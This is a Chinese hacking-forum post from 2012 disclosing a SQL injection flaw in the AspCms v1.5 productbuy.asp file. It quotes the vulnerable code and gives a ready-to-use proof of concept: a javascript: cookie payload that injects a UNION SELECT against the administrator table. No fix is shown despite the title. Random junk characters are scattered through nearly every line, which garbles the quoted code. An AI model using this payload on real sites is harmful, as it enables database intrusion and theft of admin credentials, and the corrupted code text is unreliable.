找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2493|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
7 f3 M' [  z% ?5 Y& O8 x也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
: d" o& s# [4 v8 p6 S3 ~/ g& }废话不多说,看代码:* p' _, T6 r: T% Z. M, T. z

0 \: D; Z- k6 T( v( V<%, t( m% S# N  o
: W( C0 A% p" \, x9 o2 X* l9 t3 D
if action = "buy" then2 R: E2 D9 O/ U' `' F% ~; Y
# p9 K- V( m5 ~" S  p. q
        addOrder()1 n, y. Z! I: D

& D0 I4 K9 a' o! }1 _; ^# Z; Oelse
; c3 Y: l2 `& b8 K* |% C* X& W/ b% s: A( w+ v, w9 r$ _3 `" G
        echoContent()- W4 H  I( V& Q6 c- C( Y
# o1 K! {4 n- m2 t
end if
/ G4 q# O7 g$ e. g+ {) D, v
$ _6 @5 t; H5 i
! Y! x" c* y+ J' I, ^( R3 J( }/ e, b" k
……略过
2 n8 f1 j" O% O2 L0 m% T4 s: |  d, j9 a- s1 O
# Y* y3 `+ s* v( W" t) i

2 [2 k& ?% b9 s" mSub echoContent(), g, K! h9 {$ ]0 Z3 F3 k

; Q( N* _: {# q6 V" B$ A        dim id$ T2 e2 Y6 r3 K6 y* O5 s9 B- j0 Y
' }6 l1 d: i' `: J$ P
        id=getForm("id","get")0 u3 b% _0 D4 Q7 p  X

1 p' G7 p# t: }' D        
$ ~. T. ^+ ^" R9 _6 G; e
1 T6 U$ [# m: m% c+ f        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
  T* e* }" u- ^( j: k& n- z1 f
# J" n; K1 z; v! q3 B; O        
: f& {2 f# }3 T6 [5 I
+ W% ]3 {, S  L8 L        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ C/ ?2 n1 w1 I; N# }

2 P4 b( X4 N( w$ n0 g1 S1 D' a        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
  a% f( G# O' O1 f7 D' b
& j! B6 W  C- E" }6 l% ^, `: s        Dim templatePath,tempStr
: \* R* f" s5 H  I5 c7 W2 ]# T6 h& s$ m: I9 P7 l0 [( P$ v! \2 Q5 B
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"$ B6 _+ q* f  t* \$ Y* t

; u4 y0 ]1 u& u/ }" K/ z+ s2 d0 |& D$ p5 w
) k7 f: c, p* K: i9 V
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
7 Z( @5 Y2 A6 F: X9 i! [1 S" x4 X# I+ x/ O8 U7 ]
        selectproduct=rsObj(0)
, K7 q& ?. i$ N: v/ b( j2 d. d* U+ A; G1 u/ \
        
/ f) S9 n" W5 A! K
) c. C- h8 G$ J& j/ x        Dim linkman,gender,phone,mobile,email,qq,address,postcode$ b% V+ H3 O& P) [7 K0 a" U
- c- W& d$ P/ G2 E' F0 Y
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
' v* K9 B9 n* g
, {. O: y) \: }0 C) I, e/ a        if rCookie("loginstatus")=1 then  4 D: p$ ~5 ?# |0 }1 n- B: _
( X6 v& u1 w3 F, `* y# _+ X
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& P/ @0 U. h9 x  k. y: B3 F3 y! n  U( E6 t6 c
                linkman=rsObj("truename")
! B/ f* v: f+ ?' ?) h
& d6 G2 O: b& V0 }2 f: F                gender=rsObj("gender")
8 W# V) d8 H. A4 c  ]: v7 \. V
' A- {! s: b: r* a6 X+ B                phone=rsObj("phone"): J% r2 H: f0 `2 N) x! ?3 P

  D+ M. ~5 b  o                mobile=rsObj("mobile")/ V3 o8 [8 x/ p% Y; t3 F3 J
3 _# Z8 o! q2 o" |/ h$ a
                email=rsObj("email")2 a3 D' F& ^, |  q

$ x/ |' V4 N- T/ o! c) j8 k                qq=rsObj("qq")9 B9 h5 Q$ z' ^8 \4 I' u; |* o

* S+ U2 h9 s' J4 F$ U                address=rsObj("address")$ n: q1 `( r1 x  a8 a
- _0 h" r- `, T7 o! W7 D
                postcode=rsObj("postcode")7 m* \# a6 J, X& y- ~" I; y/ \* M1 l
( n. m! V8 s% d( Y  Z
        else 6 Q( s& h, r% X

$ r4 V" k4 W. H. Q3 q& I7 @                gender=15 H7 @8 e) {$ b# i

& U" D! ~2 o9 c+ o/ i' R2 T' j; d" ]        end if* K: t7 V# ]& \- U: d/ @6 |) I
' g! h7 D$ Y" L8 T$ o1 q- ]. R
        rsObj.close()
2 N1 v8 n" t/ Q9 [6 s$ o( {2 N5 \+ `" ?- N
               
5 i( F5 H+ d0 [# f9 m" W6 R0 _6 J6 f/ U7 T
        with templateObj
/ z" x) p/ `+ y# g4 n
3 \1 [3 A) A7 ?/ x5 h$ A                .content=loadFile(templatePath)        & H8 A0 d8 P2 H8 k  N

, ^6 ?/ v% q( O3 x0 K$ g                .parseHtml()
; ^1 o' M( P1 W" R- W% W4 P- g/ i& u: B% [( i
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)0 s4 T/ c' Y) n1 X7 A" S7 X

7 h) k; `0 A! f% D                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
& j1 Y( V( e" ~6 w& o. F2 ?% U, l" d# X) e& @( h
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
3 O  H" w% `7 @) @4 e9 z1 z1 P; j  q7 O" Z! y
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
* {! h, e9 ?6 N) [# w+ I: u# l$ e/ w8 b# W5 t  y
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                1 E2 I. r% z% \6 Q
& Y7 N3 N  _9 H* v+ E
                .content=replaceStr(.content,"[aspcms:email]",email)                        # N0 f/ @. Y4 @

5 t* J! G( Y8 v* c5 r0 }                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
: U3 O6 N- Y2 {
6 [; ]/ L+ Y4 o6 M  E1 ^                .content=replaceStr(.content,"[aspcms:address]",address)                        
) K3 M9 ~1 d( \% S) O: {6 |  p& v. E  p2 Z
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
2 U: G& k: n" a  S4 H1 _$ u8 y1 u3 g7 v+ A$ n
                .parseCommon()                 % h  m) ]( N8 ~' \/ T

: W" L( a/ j" ]                echo .content & L$ Y) W; Y# Q% J
+ v% P2 j9 S; u0 }$ A
        end with% _% H2 m, w$ X& c$ j) |* ?8 s

0 V& J. I. \& M- T: N        set templateobj =nothing : terminateAllObjects
$ \1 p, t# x4 j$ I. i
1 ]8 |* ~( L9 C( C0 WEnd Sub
" E) n" M, D. `$ X0 Q漏洞很明显,没啥好说的8 `, _3 A, p1 |5 y
poc:
; Y( h5 h/ ^: M$ o4 E' y( i4 q, d0 R
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​) L7 |% J) l3 ]8 X' q: E* k
3 P. V' Y% ]% E9 ~5 m  {' W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表